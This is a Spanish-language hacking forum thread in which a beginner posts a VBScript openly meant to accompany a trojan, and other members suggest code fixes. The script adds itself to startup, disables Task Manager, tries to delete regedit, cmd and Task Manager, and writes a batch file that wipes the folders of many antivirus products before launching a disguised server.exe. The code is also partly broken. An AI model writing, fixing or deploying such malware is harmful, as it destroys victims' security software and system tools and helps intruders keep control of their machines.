Mi primer VBS

[avatar199313]

Pues aquí esta mi primer VBS lo escribi para que sea un complemento de un troyano, aquí esta el codigo:

Código:

set Worm=CreateObject("Scripting.FileSystemObject")
On error resume next
Worm.DeleteFolder “C:\Documents and Settings\All Users\Menú
Inicio\Programas\Accesorios\Herramientas del
sistema\Restaurar sistema.ink”
Set Worm2 = CreateObject(“WScript.Shell”)
Worm2.CopyFile wscript.scriptfullname,"C:\WINDOWS\system32\cmdlib.vbs"
Worm2.DeleteFile  regedit.exe
Worm2.DeleteFile  taskmgr.exe
Worm2.DeleteFile cmd.exe
Set Worm3=CreateObject("Wscript.Shell")
Worm3.RegWrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Disabletaskmgr.exe”
Worm3.Regwrite "HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run\cmdlib",C:\WINDOWS\system32\cmdlib.vbs
Worm3.CopyFile wscript.scriptfullname,"C:\WINDOWS\system32\cmdlib.vbs"
Randomize
Numero=int(rnd*10)
If Numero=1/0 Then
Set winsocket = mett.CreateTextFile (“C:\winsocket.txt”, True)
winsocket.WriteLine "@  echo off"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd norton.2005"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd panda antivirus"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd archivos de programa"
winsocket.WriteLine "cd Norton Antivirus"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd archivos de programa"
winsocket.WriteLine "cd Norton SystemWorks"
winsocket.WriteLine "cd Norton Antivirus"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd archivos de programa"
winsocket.WriteLine "cd norton.2005"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Program Files"
winsocket.WriteLine "cd Norton Antivirus"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd pavp"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Program Files"
winsocket.WriteLine "cd McAfee"
winsocket.WriteLine "cd VirusScan95"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archviso de programa"
winsocket.WriteLine "cd Panda Software"
winsocket.WriteLine "cd Panda Antivirus Platinium"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archivos de programa"
winsocket.WriteLine "cd McAfee"
winsocket.WriteLine "cd McAfee Shared Components"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archivos de programa"
winsocket.WriteLine "cd Network Associates"
winsocket.WriteLine "cd VirusScan"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archivos de programa"
winsocket.WriteLine "cd Trend Micro"
winsocket.WriteLine "cd PC-cillin 2002"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archivos de Programa"
winsocket.WriteLine "cd Kaspersky Lab"
winsocket.WriteLine "cd Kaspersky Anti-Virus Personal Pro"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "cd\"
winsocket.WriteLine "cd Archivos de Programa"
winsocket.WriteLine "cd Kaspersky Lab"
winsocket.WriteLine "cd Kaspersky Anti-Virus Personal"
winsocket.WriteLine "attrib -a -r -h *.*"
winsocket.WriteLine "del *.*"
winsocket.WriteLine "EXIT"
winsocket.Close
winsocket.CopyFile “C:\winsocket.txt”,”C:\winsocket.bat”
winsocket.Run “C:\winsocket.bat”
set Worm4=CreateObject("Scripting.FileSystemObject")
Worm4.CopyFile "C:\server.exe","C:\WINDOWS\System32\avp.exe"
Worm4.Run "C:\WINDOWS\System32\avp.exe"

Se aceptan criticas, sugerencias y comentarios.

[Shadow C]

Estas cometiendo un error gravisimo... No puedes asignar dos objetos diferentes a la misma variable!!!!Cambiae el nombre a alguna de las dos!!

Mira:
set Worm=CreateObject("Scripting.File SystemObject")
set Worm = CreateObject(“WScript.Shell”)

[ZEUS34]

estoy de acuerso... ademas, creo que el archivo que escribe, ocupa mucho código...
se pueden hacer las mismas cosas con mucho menos codigo, aunque hay que haceptar que es muy bueno!!!
salu2

[avatar199313]

ya esta en la ventana del codigo estan los cambios gracias por ayudarme con el codigo, gracias por sus comentarios "ZEUS34" y "Shadow C", cuando lo termine y lo pula sera un buen compañero para los troyanos.

[ZEUS34]

de nada---
he de suponer que eres un newbbie... ;-)
si asi lo es, siempre es agradable ayudar a quien lo nececita
jaja
salu2

[avatar199313]

Pues en la mayoria de los lenguajes de programación si soy un newbie, tengo que admitirlo. En VBS apenas inicie unas semanas usando los manuales puestos por ZEUS34 y Shadow C. jaja

[ZEUS34]

jajaja
te han gustado los mios?
me esforze mucho...
jaja
proximo a salir la 3ª parte
salu2!

[Shadow C]

Avatar199313 estoy contento d q te haya servido la info que postie... ya sabes si tienes algun problema no dudes en preguntar

Salu2 Shadow C

[avatar199313]

Los dos me han sido de mucha ayuda para entrar al mundo de los VBS, a por cierto queria saber si me permites poner sus manuales en el foro: safehacker.for os.st o ustedes en una vuelta los pongan cuando puedan. Ah, porcierto, me gusta tu foro ZEUS34.

[ZEUS34]

gracias!!
jaja
ya te suscribiste?? espero que ya!!
hayudenme a hacer promocion para que sea una comunidad completa!!
gracias!
salu2!

[ZEUS34]

bueno, con respecto a lo otro...
en lo personal preferiria que la gente que lo descargue no pase el texto en si, sino el link para que los otros lo descarguen...
pasales el link, ya ellos sabran si lo descargan o no
ok?

salu2!

[avatar199313]

Por eso es a lo que me refiero poner los links y respetar los creditos.

[ZEUS34]

a bueno, ok.
si solo vas a poner los links, esta bien (solo para mis tutos, no se Shado C)
bueno, ok
salu2

[Shadow C]

Pone el link si quieres

[ZEUS34]

si kieres, te puedo ayudar personalmente. ..
(bueno por messenger)
jaja
mandame tu mail, yo te ayudo con cualquier duda que tengas!
salu2!
jajaja
salu2!